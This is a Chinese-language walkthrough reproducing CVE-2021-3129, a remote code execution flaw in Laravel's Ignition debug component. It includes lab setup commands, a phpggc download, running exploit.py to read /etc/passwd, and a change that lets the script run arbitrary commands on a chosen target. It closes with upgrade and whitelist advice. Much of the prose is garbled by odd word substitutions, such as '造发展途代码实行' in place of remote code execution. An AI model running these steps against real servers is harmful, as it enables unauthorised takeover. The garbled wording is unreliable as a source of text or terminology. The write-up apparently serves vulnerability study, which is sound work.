在Laravel中已经具有了一套高等的PHP ActiveRecord实现 -- Eloquent ORM。它能方便地将“约束(constraints)”运用到关系的双方,这样开拓者就具有了对数据的完备掌握,而且享受到ActiveRecord的所有便利。Eloquent原生支持Fluent中查询布局器(query-builder)的所有方法。
0x01 漏洞概述
Laravel <= 8.4.2 存在远程代码实行漏洞,当Laravel开启了Debug模式时,由于Laravel自带的2.5.2之前的Ignition功能的某些接口和函数存在过滤不严,未经由身份验证的远程攻击者可以发起恶意要求,通过布局恶意Log文件等办法触发phar反序列化,从而造发展途代码实行,掌握做事器。
0x02 影响版本
Laravel <= 8.4.2Ignition <2.5.2

1.利用github已经搭建好的环境进行复现。
git clone git://github.com/SNCKER/CVE-2021-3129
2.切换到刚刚下载的目录,实行以下命令即可自动完成环境搭建和启动。
docker-compose up -d
3.浏览器访问 http://192.168.141.131:8888,涌现如下界面。
点击Generate app key,发送要求,在配置文件中配置了一个加密key。
再刷新一下界面,涌现以下内容即搭建成功。
0x04 漏洞复现
1.github上的环境附带exp,利用vim打开查看,其默认目标为本地,实行"cat /etc/passwd"命令
2.在实行exp之前,须要下载phpggc工具,phpggc要和exploit.py在放同一文件夹内
git clone git://github.com/ambionics/phpggc.git
3.实行如下代码,即可默认查看 /etc/passwd 文件
python3 exploit.py
4.大略修正一下 exploit.py 脚本即可实行任意命令
Vim打开脚本,首先在exploit.py开头import sys库
主函数改为如下内容(把稳缩进)
args = sys.argvurl = args[1]command = args[2]Exp(url, command)
运行如下指令,第1个参数即为目标ip,第2个参数即为想要实行的命令
python3 exploit.py http://127.0.0.1:8888 'ifconfig'
0x05 防护建议
1.利用白名单限定干系web项目的访问来降落风险
2.将 Laravel 框架升级至8.4.3及其以上版本,或者将facade ignition组件升级至 2.5.2 及其以上版本